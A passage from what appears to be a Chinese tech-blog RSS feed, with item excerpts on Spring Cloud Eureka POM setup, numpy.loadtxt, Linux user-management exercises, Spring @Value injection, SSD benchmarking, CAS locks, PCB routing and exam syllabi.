&amp;lt;artifactId&amp;gt;spring-cloud-starter-netflix-eureka-server&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-devtools&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;dependencyManagement&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-dependencies&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring-cloud.version}&amp;lt;/version&amp;gt; &amp;lt;type&amp;gt;pom&amp;lt;/type&amp;gt; &amp;lt;scope&amp;gt;import&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;/dependencyManagement&amp;gt; &amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>详解Python中numpy.loadtxt()读取txt文件</title>
      <link>https://bchobby.github.io/posts/d7ff15c704ba51d464904b89e6adabfa/</link>
      <pubDate>Tue, 22 Jun 2021 16:10:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7ff15c704ba51d464904b89e6adabfa/</guid>
      <description>为了方便使用和记忆，有时候我们会把 numpy.loadtxt() 缩写成np.loadtxt() ,本篇文章主要讲解用它来读取txt文件。&#xA;读取txt文件我们通常使用 numpy 中的 loadtxt（）函数&#xA;numpy.loadtxt(fname, dtype=, comments=&#39;#&#39;, delimiter=None, converters=None, skiprows=0, usecols=None, unpack=False, ndmin=0）&#xA;注：loadtxt的功能是读入数据文件，这里的数据文件要求每一行数据的格式相同。&#xA;也就是说对于下面这样的数据是不符合条件的：&#xA;123&#xA;1 2 4 3 5&#xA;接下来举例讲解函数的功能：&#xA;1、简单的读取&#xA;test.txt&#xA;test.txt 1 2 3 4 2 3 4 5 3 4 5 6 4 5 6 7 import numpy as np a = np.loadtxt(&#39;test.txt&#39;)#最普通的loadtxt print(a) 输出： [[1. 2. 3. 4.] [2. 3. 4. 5.] [3. 4. 5. 6.] [4. 5. 6. 7.</description>
    </item>
    <item>
      <title>html5 添加用户组信息,用户组权限练习3</title>
      <link>https://bchobby.github.io/posts/441490ce7ccf79fae0ad037301a71a69/</link>
      <pubDate>Tue, 22 Jun 2021 13:52:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/441490ce7ccf79fae0ad037301a71a69/</guid>
      <description>1,用useradd命令以默认值建一个用户jack&#xA;useradd jack&#xA;2,用useradd命令新建一个用户rose,uid为555,gid为500,别名注释为:RHCE,主目录在/rose&#xA;useradd -u 555 -g 500 -c RHCE -d /rose rose&#xA;3,在/etc/passwd中查看两个新加的用户信息 (tail,vipw,cat...)&#xA;tail -n 2 /etc/passwd&#xA;4,在/etc/group中查看有没有相应的组生成,并用用户信息查询命令查看 (id finger groups)&#xA;id jack;finger jack ;groups rose&#xA;5,用usermod命令修改jack的uid为666,用户名改为jacky&#xA;usermod -u 666 -l jacky jack&#xA;6,用passwd命令把jacky的密码设置为123&#xA;passwd jacky&#xA;7,切换控制台,用jacky帐户登录系统&#xA;su jacky&#xA;8,换回控制台,用usermod命令将jacky锁定,验证jacky能否再次登录系统,解锁后呢?&#xA;su root&#xA;usermod -L jacky&#xA;usermod -U jacky&#xA;9,用usermod命令将rose加入到root组,用命令查看是否加入成功,查看/etc/group中root组中有无rose&#xA;usermod -G root rose&#xA;head -n 2 /etc/group&#xA;10,新建一个用户zhangsan,查看shangsan的信息,利用命令将zhangsan彻底删除,查看zhangsan组有没有被删除&#xA;useradd zhangsan&#xA;finger zhangsan&#xA;userdel -r zhangsan&#xA;groups zhangsan</description>
    </item>
    <item>
      <title>SpringCloud微服务--什么是微服务，如何启动一个微服务</title>
      <link>https://bchobby.github.io/posts/a6b44ca88434a7a3979d6c3c720c89ff/</link>
      <pubDate>Mon, 21 Jun 2021 21:18:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6b44ca88434a7a3979d6c3c720c89ff/</guid>
      <description>只是作者的个人简介，了解的也不是很全面，我会根据自己在此方面的积累不断完善，还请各位批评指正。&#xA;一、什么是微服务、不用他到底能不能行？ 首先你会得到一个肯定的答案：不用他也能行，也能完成最基础的软件工程开发。&#xA;据老师所言，微服务的好与坏在许多程序员的口中都展现了不同的状态，打的不可开交。抱着一颗学习的心态去冲就完事，毕竟大佬大家，小白遭殃，我们不知道之后的软件开发场景是否会被微服务所替代，毕竟设计人员很喜欢他，也不知道之后是否还会被其他框架所代替，毕竟程序员会嫌他烦，废话少说我们进入正题&#xA;Spring Cloud是目前最流行的进行微服务架构的框架之一，是一个一站式的开发分布式系统的框架，为开发者提供了一系列的构建分布式系统的工具集。目前已经在各大互联网公司得到广泛应用，是进行微服务架构的优先选择工具，也是程序员进阶和架构师必备的技术。你可以把他简单理解成一个框架，向ORM那样，能够针对某种诉求，完成某种操作。 定义开起来确实枯燥无味，不妨听我讲一个日常生活中的业务场景，也许你就可以了解到他的强大之处了。&#xA;一个公司现在具备多套由不同公司或相同公司开发的系统，他们可以是员工管理系统、考勤管理系统、学习管理系统等等。这些系统是根据本公司的发展逐步增加出来的，也就是说在一开始老板并不清楚我究竟需要哪些系统。当这些系统逐步开发出来之后，问题也就随之而来了。&#xA;我现在有多套系统，并且每个系统都配备了账号，每个系统都是单独一个库。也就意味着用户需要频繁的注册账号然后写入密码，随着系统的不断增多，用户的体验效果会变得越来越不好，当然，如果说这些系统不存在相互之间的交互，每个人就单独使用一两个还能接受。如果许多数据都一样，为了增加用户体验感和效率，我们该怎么办。就比如说员工管理系统，他详细的记录了每一个员工的信息，学习管理系统记录了每个人该学哪些部分，当公司老板想要去知道那些人该学的内容没学习，学习了多长时间的时候，我们会发现，如果说我不注册账号，我就不学习，信息管理人员就要从两个系统中分别取出需要的部分，然后在整理。这样会大大降低效率，更有的人会说我们可以在考勤管理人员中提前建立好员工信息，这样不就可以了，那对于我们想满足此场景，我们是不是势必会造成大量的数据冗余。 以上两个简单的业务诉求是我们很常见的问题，两个系统之间的数据不能互相访问，产生了数据孤岛。&#xA;解决这样的问题其实有很多途径，比如：&#xA;对现有主题系统进行二次开发，将两个系统融合成一个系统。（如果系统少，还好说，如果该公司的系统非常多，那我们该怎么办，一次次的迭代？很显然不是明智的办法）保留原有的系统，分别开放HTTP接口，让其他系统能够访问其他库。（如果说单纯的查询，那么没问题，很简单。如果说是进行了多库的增、删、改呢？比如当我在进行到第三个库时出错时，我们前两个库的数据是否还会被保存？整个操作算成功还是失败？如果是失败，是不是还需要在书写对应的补偿机制删除之前错误的插入） 显然，还有很多类似的场景没有举出，但已经能够陈述出微服务的优点了。Google也曾为了解决类似的问题，专门造出一个平台能够提供各种网络访问，实现最基本的安全验证。把系统上传到本平台上。开放端口，这样维护平台的安全性就可以了。saas，服务及软件。pass平台及服务（B2B租户的模式）也许就是这样的模式。&#xA;二、微服务常识（不全面，会慢慢更新） 据作者了解目前主流的微服务有三套：&#xA;spring原生阿里巴巴（个人觉得没有原生做的好，但封装了很多接口，大家可以积极尝试）华为（大部分借鉴了原生，通信方面做的好，如果有通信要求，可以采用他） 服务发现：把服务名称注册出去。&#xA;服务网关，gatway 负载均衡&#xA;微服务安全：&#xA;1.菜单可见性维护安全。&#xA;2.后端加安全拦截&#xA;​ 1）看结构，如果部署服务网关上公网，但是服务不上公网，去拦截服务网关就行&#xA;​ 2）服务都上公网。每一个服务的每一个接口都需要拦截。&#xA;三、启动一个微服务项目 创建Eureka服务 创建标准boot工程，具体pom配置如下 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.5.1&amp;lt;/version&amp;gt; &amp;lt;relativePath/&amp;gt; &amp;lt;!-- lookup parent from repository --&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;groupId&amp;gt;com.zhisen.cslcp&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;eureka-server&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;name&amp;gt;eureka-server&amp;lt;/name&amp;gt; &amp;lt;description&amp;gt;cslcp&amp;lt;/description&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt; &amp;lt;spring-cloud.version&amp;gt;2020.0.3&amp;lt;/spring-cloud.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-netflix-eureka-server&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;dependencyManagement&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>@Value注入List，Map及设置默认值</title>
      <link>https://bchobby.github.io/posts/dd01f67cd7f83388f15520362f762bdd/</link>
      <pubDate>Mon, 21 Jun 2021 20:14:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd01f67cd7f83388f15520362f762bdd/</guid>
      <description>注入String&#xA;yml&#xA;populate:&#xA;string: stringValue&#xA;1&#xA;2&#xA;注入&#xA;@Value(&#34;${populate.string2:}&#34;) // 默认值是空字符串“”&#xA;private String stringV;&#xA;@Value(&#34;${populate.string:null}&#34;) // 默认值是null&#xA;private String stringV2;&#xA;@Value(&#34;${populate.string:defaultValue}&#34;) // 默认值是“defaultValue”&#xA;private String stringV3;&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;6&#xA;7&#xA;8&#xA;注入Array&#xA;yml&#xA;populate:&#xA;array: array1,array2,array3&#xA;1&#xA;2&#xA;注入&#xA;@Value(&#34;${populate.array:}&#34;) // 默认值是[]&#xA;private String[] array;&#xA;@Value(&#34;${populate.array:a1,a2,a3}&#34;) // 默认值是[a1,a2,a3]&#xA;private String[] array1;&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;注入List&#xA;yml&#xA;populate:&#xA;list: list1,list2,list3&#xA;1&#xA;2&#xA;注入&#xA;#{&#39;${populate.list:}&#39;.split(&#39;,&#39;)： #{} 内是SpEL表达式，使用 split 函数指定了分隔符；</description>
    </item>
    <item>
      <title>SSD性能测试工具-AS_SSD Benchmark</title>
      <link>https://bchobby.github.io/posts/2ffdadfcaea13d3f210c7680f24eb5c7/</link>
      <pubDate>Mon, 21 Jun 2021 20:01:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ffdadfcaea13d3f210c7680f24eb5c7/</guid>
      <description>SSD性能测试工具-AS_SSD Benchmark 简介提供的测试1.综合测试(Die synthetischen Tests)2.复制测试(Copy-Benchmark )3. 压缩测试(Compression Benchmark) 简介 AS_SSD（https://as-ssd-benchmark.en.softonic.com/）是一个免费轻量级的测试SSD性能工具（以我的实测经验，其实也可以测其他存储设备，比如HDD，这个软件只是产生了读写的数据，然后去测量相应指标），在windows即可使用。&#xA;这里总结各个指标代表的含义。&#xA;提供的测试 关于提供的测试解释，德语版原文可参考（https://www.alex-is.de/PHP/fusion/downloads.php?cat_id=4&amp;amp;download_id=9）。&#xA;通过菜单栏View可以选择不同的表现形式（MB/S or IOPS）通过菜单栏Tools可以选择另外两种测试（Copy-Benchmark or Compression Benchmark）选择想要测试的存储设备与测试数据大小即可测试 1.综合测试(Die synthetischen Tests) 综合测试确定了SSD的连续和随机读写性能，这些测试是在不使用操作系统缓存的情况下进行的。&#xA;测试结果如图：&#xA;SanDisk:磁盘型号Z231106：可能也是型号的一部分？不清楚isaStoreA：iastor是英特尔的AHCI驱动程序，如果是微软的Windows自带的AHCI驱动程序，则为msachi283648k:offset/Alignment, 以4k为基准，OK表示采取了4k的对齐方式119.24GB：磁盘容量Seq：测试顺序读写4K：以4K大小的数据块测试4K-64Thrd：以64个进程的方式测试4K大小数据块，要是用来测NCQ（Native Command Queuing，原生命令队列）差距的。IDE模式下就和普通4KB随机没有任何区别。NCQ，简而言之，是SATAⅡ中通过在硬盘内部优化作业的执行顺序来提升硬盘性能和使用寿命。IDE模式与AHCI模式相对应，IDE无法发挥NCQ优势，AHCI可以。对于最新的NMVe SSD可能这些指标参考价值不高。Acc.Time:寻址时间测试，读取是测试寻址随机的4KB文件（全盘LBA区域），写入是测试寻址随机的512B文Score：第一行分别为读、写分数，第二行为总分。三个得分公式如下：&#xA;1 读Score = Seq * 0.1 + 4K + 4K-64Thrd&#xA;2 写Score = Seq * 0.1 + 4K + 4K-64Thrd&#xA;3 总Score = Seq-写0.15+Seq-读0.1+4k-读2+4k-写+4K-64Thrd写+4K-64Thrd读1.5 2.复制测试(Copy-Benchmark ) 在复制测试中，创建了三个测试文件夹：ISO（两个大文件）、Programs（有许多小文件的典型程序文件夹）和Games（有小文件和大文件的游戏文件夹）。这三个文件夹是用操作系统的简单复制命令复制的。在这个测试中，缓存保持启用状态。实际测试显示了固态硬盘在同时进行读写操作时的性能。&#xA;结果可能因使用的Windows操作系统而不同。&#xA;3. 压缩测试(Compression Benchmark) 读取以及写入的速度是根据数据的可压缩性来衡量的。为此，在随机数据中选择性地穿插了零点。零的可压缩性很好，随机数据实际上是完全不可压缩的。&#xA;在上图中，X轴表示数据的可压缩性。从0%-完全不可压缩，到100%-完全可压缩。Y轴表示实现的数据率。&#xA;额外的压缩测试可以根据数据的可压缩性来衡量SSD的性能。可以对于使用压缩技术来提高性能和电池寿命的控制器进行测试比较。</description>
    </item>
    <item>
      <title>乐观锁，CAS，ABA问题</title>
      <link>https://bchobby.github.io/posts/86d7de42a2c5ca3dc6b831c0441793ff/</link>
      <pubDate>Mon, 21 Jun 2021 11:25:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86d7de42a2c5ca3dc6b831c0441793ff/</guid>
      <description>文章目录 常见的锁策略乐观锁 vs 悲观锁读写锁自旋锁（Spin Lock）可重入锁 什么是 CASCAS 是怎么实现的ABA 问题（乐观锁导致的）synchronized 锁 常见的锁策略 乐观锁 vs 悲观锁 乐观锁：乐观锁假设认为数据一般情况下不会产生并发冲突，所以在数据进行提交更新的时候，才会正式对数据是否产生并发冲突进行检测，如果发现并发冲突了，则返回用户错误的信息，让用户决定如何去做。&#xA;悲观锁的问题：总是需要竞争锁，进而导致发生线程切换，挂起其他线程；所以性能不高。&#xA;悲观锁：总是假设最坏的情况，每次去拿数据的时候都认为别人会修改，所以每次在拿数据的时候都会上锁，这样别人想拿这个数据就会阻塞直到它拿到锁。&#xA;乐观锁的问题：并不总是能处理所有问题，所以会引入一定的系统复杂度。&#xA;读写锁 多线程之间，数据的读取方之间不会产生线程安全问题，但数据的写入方互相之间以及和读者之间都需要进行互斥。如果两种场景下都用同一个锁，就会产生极大的性能损耗。所以读写锁因此而产生。&#xA;读写锁（readers-writer lock），看英文可以顾名思义，在执行加锁操作时需要额外表明读写意图，复数读者之间并不互斥，而写者则要求与任何人互斥。&#xA;自旋锁（Spin Lock） 在线程在抢锁失败后会进入阻塞状态，放弃 CPU，需要过很久才能再次被调度。但经过测算，实际的生活中，大部分情况下，虽然当前抢锁失败，但过不了很久，锁就会被释放。基于这个事实，自旋锁诞生了。&#xA;你可以简单的认为自旋锁就是下面的代码只要没抢到锁，就死等，不断地进行申请锁。&#xA;自旋锁的缺点：缺点其实非常明显，就是如果之前的假设（锁很快会被释放）没有满足，则线程其实是光在消耗 CPU 资源，长期在做无用功的。&#xA;可重入锁 可重入锁的字面意思是“可以重新进入的锁”，即允许同一个线程多次获取同一把锁。比如一个递归函数里有加锁操作，递归过程中这个锁会阻塞自己吗？如果不会，那么这个锁就是可重入锁（因为这个原因可重入锁也叫做递归锁）。&#xA;Java里只要以Reentrant开头命名的锁都是可重入锁，而且JDK提供的所有现成的Lock实现类，包括synchronized关键字锁都是可重入的。&#xA;什么是 CAS CAS: 全称Compare and swap，字面意思:”比较并交换“， CAS 其实是一个乐观锁。一个 CAS 涉及到以下操作：&#xA;我们假设内存中的原数据V，旧的预期值A，需要修改的新值B。&#xA;比较 A 与 V 是否相等。（比较）如比较相等，将 B 写入 V。（交换）返回操作是否成功。 当多个线程同时对某个资源进行CAS操作，只能有一个线程操作成功，但是并不会阻塞其他线程,其他线程只会收到操作失败的信号。即第二步返回的为false，然后就进入自旋状态，将当前内存的值赋值给A（预期值），在从重复执行上面的步骤。&#xA;CAS 是怎么实现的 针对不同的操作系统，JVM 用到了不同的 CAS 实现原理，简单来讲：&#xA;java 的 CAS 利用的的是 unsafe 这个类（本地类）提供的 CAS 操作；unsafe 的 CAS 依赖了的是 jvm 针对不同的操作系统实现的 Atomic::cmpxchg（原子指令）；Atomic::cmpxchg 的实现使用了汇编的 CAS 操作，并使用 cpu 硬件提供的 lock 机制保证其原子性。java中atomic*相关的类都是依靠CAS实现的。比如atomicInteger类atomicLong等。</description>
    </item>
    <item>
      <title>【Windows网络连接问题】无法连接到这个网络</title>
      <link>https://bchobby.github.io/posts/7082db1e7d350b465bcebcdf40b4e702/</link>
      <pubDate>Mon, 21 Jun 2021 11:04:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7082db1e7d350b465bcebcdf40b4e702/</guid>
      <description>【Windows网络连接问题】无法连接到这个网络 问题：连接此网络无法正常连接上网。&#xA;解决方法尝试：&#xA;1、排查是否电脑网卡问题：&#xA;连接其他无线网，发现正常连接并正常能够上网&#xA;已经重新启动电脑，还是不能正常连接此网络&#xA;2、通过疑难解答，还未正常修复&#xA;3、网上搜索问题解决&#xA;查看本地端相关网络服务，是否正常开启。&#xA;按“ctirl+r”键调出运行框，输入services.msc，打开服务。&#xA;打开或重启以下服务。&#xA;WLAN AutoConfig&#xA;Wired AutoConfig&#xA;重新连接此网络依旧不行。&#xA;4、重启本地电脑，解决问题。有点懵。</description>
    </item>
    <item>
      <title>PCB四层板布线规则有哪些？</title>
      <link>https://bchobby.github.io/posts/5ec8d4999088d1e75015c752630373a4/</link>
      <pubDate>Mon, 21 Jun 2021 09:25:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ec8d4999088d1e75015c752630373a4/</guid>
      <description>PCB分为单层板和多层板，四层板是用得比较多的多层板。那么，PCB四层板布线规则有哪些？&#xA;1、 3点以上连线在设计时，有规则的让线依次通过各点，便于后期测试，线长应尽量缩短。&#xA;2、 引脚周边避免布线，特别注意集成电路引脚之间和周围减少布线设计。&#xA;3、 相邻层最好不要平行布线，理论上是只要线平行就会有干扰。&#xA;4、 尽量减少弯曲布线，避免产生电磁辐射。&#xA;5、 多逻辑电路在设计地线、电源线时至少10-15mil以上。&#xA;6、 尽量让铺地多段线连接起来，增大接地面积。线与线之间应保持整齐。&#xA;7、 在布线初期，应预留后期元件排放均匀的空间位置，以便后期元器件的安装、插件、焊接操作。文字排放在当前字符层，位置合理，避免被遮挡。&#xA;8、 元器件摆放安装应从空间感考虑，SMT元件有正负极应在封装和最后标明。&#xA;9、 目前印制线路板可作4—5mil的布线，但通常做6mil线宽、8mil线距、12/20mil焊盘。布线时应考虑灌入电流等多重因素的影响。&#xA;10、功能块元件尽量放在一起，便于后期的检查。特别提醒：斑马条等LCD附近元件不能靠太近。&#xA;11、过孔要涂绿油。&#xA;12、电池底座下最好不要放置焊盘、过孔等，保证多次使用的牢固程度。&#xA;13、布线完成后要仔细检查每一个连线是否真的连接上(可用点亮法)。&#xA;14、振荡电路元件尽量靠近IC芯片，尽量远离天线等易受干扰区。晶振下要放接地焊盘。&#xA;15、多考虑加固、挖空放元件等多种方式，避免辐射源过多。&#xA;以上就是PCB四层板的布线规则，你都了解了吗?&#xA;想要了解更多相关内容，可以关注我哦！</description>
    </item>
    <item>
      <title>内网html预览word,C# 实现Office在线预览</title>
      <link>https://bchobby.github.io/posts/16dd1589985d0d8b65dd340821eac5bf/</link>
      <pubDate>Mon, 21 Jun 2021 02:20:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16dd1589985d0d8b65dd340821eac5bf/</guid>
      <description>“道阻且长，行则将至。”这句话，很完美的诠释了我实现Office在线预览的过程。国内外实现的方式千万种，但我最终还是发现Office Online才是我的真爱。接下来我就将我试过的所有方案一一说来，让你可以少踩点坑。&#xA;第三方服务&#xA;① Office Online 2016：&#xA;总结：我对它是又爱又恨。标红处是我目前想要攻克。&#xA;② Office Web 365：http://officeweb365.com&#xA;总结：我没话说！爱它。好用但太贵了。&#xA;③ 腾讯在线文档&#xA;总结：无法在内网部署，其他都很好。&#xA;④ IDOCV：https://www.idocv.com/&#xA;已经实现了在线预览，可以说可以满足小部分office系列需求。但是转化效果基本上都是图片、PDF 模式。但是整体来说的话，可以满足要求。&#xA;永中DCS：http://www.yozodcs.com/&#xA;已经实现了在线预览，可以说可以满足小部分office系列需求。但是转化效果基本上都是图片、PDF模式。但是整体来说的话，可以满足要求。&#xA;点击网址，就可以查看其实现的功能&amp;amp;有专门测试的地方，就是对文件大小限制的比较厉害。&#xA;总结：由于这两个连我基本的需求(PPT可以查看GIF和视频)都没有实现，所以我就不多开辟一席之地进行描述了。不过基本的功能能实现，还有就是收费。&#xA;采用插件转换为PDF预览，&#xA;总结：本人一开始就是采用的PPT、word、excel转化为PDF然后在浏览器中预览。&#xA;缺点：转化过于繁琐，收费。我尝试了一下Aspose组件，提取出来的内容无法按照原格式展示，PPT内的GIF和视频都变成了图片，无法查看。&#xA;原文：https://www.cnblogs.com/pukua/p/13182731.html</description>
    </item>
    <item>
      <title>先学数据结构还是计算机组成原理,上海大学832计算机组成原理与数据结构2017年考研大纲...</title>
      <link>https://bchobby.github.io/posts/fa098b0cfd18042622bc666b3c940b6f/</link>
      <pubDate>Sun, 20 Jun 2021 21:07:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa098b0cfd18042622bc666b3c940b6f/</guid>
      <description>2．主要复习内容：&#xA;1) 计算机系统概述&#xA;(1)计算机发展历程&#xA;(2)计算机系统层次结构&#xA;a.计算机硬件的基本组成&#xA;b.计算机软件的分类&#xA;c.计算机的工作过程&#xA;(3)计算机性能指标&#xA;吞吐量、响应时间；CPU时钟周期、主频、CPI、CPU执行时间；MIPS、MFLOPS。&#xA;2) 数据的表示和运算&#xA;(1)数制与编码&#xA;a.进位计数制及其相互转换&#xA;b.真值和机器数&#xA;c.BCD码&#xA;d.字符与字符串&#xA;e.校验码&#xA;(2)定点数的表示和运算&#xA;a.定点数的表示&#xA;无符号数的表示；有符号数的表示。&#xA;b.定点数的运算&#xA;定点数的位移运算；原码定点数的加/减运算；补码定点数的加/减运算；定点数的乘/除运算；溢出概念和判别方法。&#xA;(3)浮点数的表示和运算&#xA;a.浮点数的表示&#xA;IEEE754标准&#xA;b.浮点数的加/减运算&#xA;(4)算术逻辑单元ALU&#xA;a.串行加法器和并行加法器&#xA;b.算术逻辑单元ALU的功能和结构&#xA;3) 存储器层次结构&#xA;(1)存储器的分类&#xA;(2)存储器的层次化结构&#xA;(3)半导体随机存取存储器&#xA;a.SRAM存储器的工作原理&#xA;b.DRAM存储器的工作原理&#xA;c.只读存储器&#xA;(4)主存储器与CPU的连接&#xA;(5)双口RAM和多模块存储器&#xA;(6)高速缓冲存储器(Cache)&#xA;a.Cache的基本工作原理&#xA;b.Cache和主存之间的映射方式&#xA;c.Cache中主存块的替换算法&#xA;d.Cache写策略&#xA;(7)虚拟存储器&#xA;a.虚拟存储器的基本概念&#xA;b.页式虚拟存储器&#xA;c.段式虚拟存储器&#xA;d.段页式虚拟存储器&#xA;e.TLB(快表)&#xA;4) 指令系统&#xA;(1)指令格式&#xA;a.指令的基本格式&#xA;b.定长操作码指令格式&#xA;c.扩展操作码指令格式&#xA;(2)指令的寻址方式&#xA;a.有效地址的概念&#xA;b.数据寻址和指令寻址&#xA;c.常见寻址方式&#xA;(3)CISC和RISC的基本概念&#xA;5) 中央处理器(CPU)&#xA;(1)CPU的功能和基本结构&#xA;(2)指令执行过程&#xA;(3)数据通路的功能和基本结构&#xA;(4)控制器的功能和工作原理&#xA;a.硬布线控制器</description>
    </item>
    <item>
      <title>先学数据结构还是计算机组成原理,大连理工大学2020考研810数据结构和计算机组成原理考试大纲...</title>
      <link>https://bchobby.github.io/posts/1fe9dec0648f7efe4337d46199c3bdfe/</link>
      <pubDate>Sun, 20 Jun 2021 21:07:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fe9dec0648f7efe4337d46199c3bdfe/</guid>
      <description>考研大纲是2020考研学生复习的重要参考资料，它指出了所考科目的大致考试范围，也是考研命题的重要参考依据。2020考研大纲已经陆续公布，包括公共课考试大纲和专业课统考科目考试大纲，而自命题科目考试大纲则一般由招生院校自行公布。目前各大招生院校已经开始陆续发布自命题科目考试大纲，跨考研招网小编特为大家作了整理。下面是大连理工大学2020考研810数据结构和计算机组成原理考试大纲，以供大家复习作参考。&#xA;科目代码：810 科目名称：数据结构和计算机组成原理&#xA;Ⅰ.考查目标&#xA;计算机学科专业基础综合考试是为大连理工大学招收计算机科学与技术学科的硕士研究生而设置的具有选拔性质的联考科目，其目的是科学、公平、有效地测试考生掌握计算机科学与技术学科大学本科阶段专业基础知识、基本理论、基本方法的水平和分析问题、解决问题的能力，评价的标准是高等学校计算机科学与技术学科优秀本科生所能达到的及格或及格以上水平，以利于大连理工大学择优选拔，确保硕士研究生的入学质量。&#xA;Ⅱ.考查范围&#xA;计算机学科专业基础综合考试涵盖数据结构、计算机组成原理等学科专业基础课程。要求考生系统地掌握上述专业基础课程的概念、基本原理和基本方法，能够运用所学的基本原理和基本方法分析、判断和解决有关理论问题和实际问题。&#xA;Ⅲ.考试形式和试卷结构&#xA;(一) 试卷满分及考试时间&#xA;本试卷满分为150分，考试时间为180分钟。&#xA;(二) 答题方式&#xA;答题方式为闭卷、笔试。&#xA;(三) 试卷内容结构&#xA;数据结构 75分&#xA;计算机组成原理 75分&#xA;(四) 试卷题型结构&#xA;选择题 50分(数据结构20分、计算机组成原理30分)&#xA;综合应用题 100分(数据结构55分、计算机组成原理45分)&#xA;Ⅲ.考查内容&#xA;数据结构&#xA;[考查目标]&#xA;1.掌握数据结构的基本概念、基本原理和基本方法。&#xA;2.掌握数据的逻辑结构、存储结构及基本操作的实现，能够对算法进行基本的时间复杂度与空间复杂度的分析。&#xA;3.能够运用数据结构的基本原理和方法进行问题的分析与求解，具备采用C或C++语言设计与实现算法的能力。&#xA;一、线性表&#xA;1.线性表的定义&#xA;2.线性表的顺序表示和实现&#xA;3.线性表的链式表示和实现&#xA;4.线性表的应用&#xA;二、栈、队列和数组&#xA;1.栈和队列的基本概念&#xA;2.栈的顺序表示和实现&#xA;3.栈的链式表示和实现&#xA;4.队列的顺序表示和实现&#xA;5.队列的链式表示和实现&#xA;6.栈和队列的应用&#xA;7.数组的定义，数组的顺序表示和实现&#xA;8.矩阵的压缩存储&#xA;三、树与二叉树&#xA;1.树的定义和基本概念&#xA;2.二叉树&#xA;(1) 二叉树的定义及性质&#xA;(2) 二叉树的存储结构&#xA;(3) 二叉树的遍历&#xA;(4) 线索二叉树&#xA;3.树、森林&#xA;(1) 树的存储结构&#xA;(2) 树和二叉树的转换，森林与二叉树的转换&#xA;(3) 树和森林的遍历&#xA;4.哈夫曼(Huffman)树和哈夫曼编码&#xA;四、图&#xA;1.图的定义和基本概念&#xA;2.图的存储方式&#xA;(1) 数组(邻接矩阵)表示法</description>
    </item>
    <item>
      <title>Word中把竖排文字里的数字变横向</title>
      <link>https://bchobby.github.io/posts/4bec7451f88bff803cdd0a4a6976fed8/</link>
      <pubDate>Sun, 20 Jun 2021 18:22:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bec7451f88bff803cdd0a4a6976fed8/</guid>
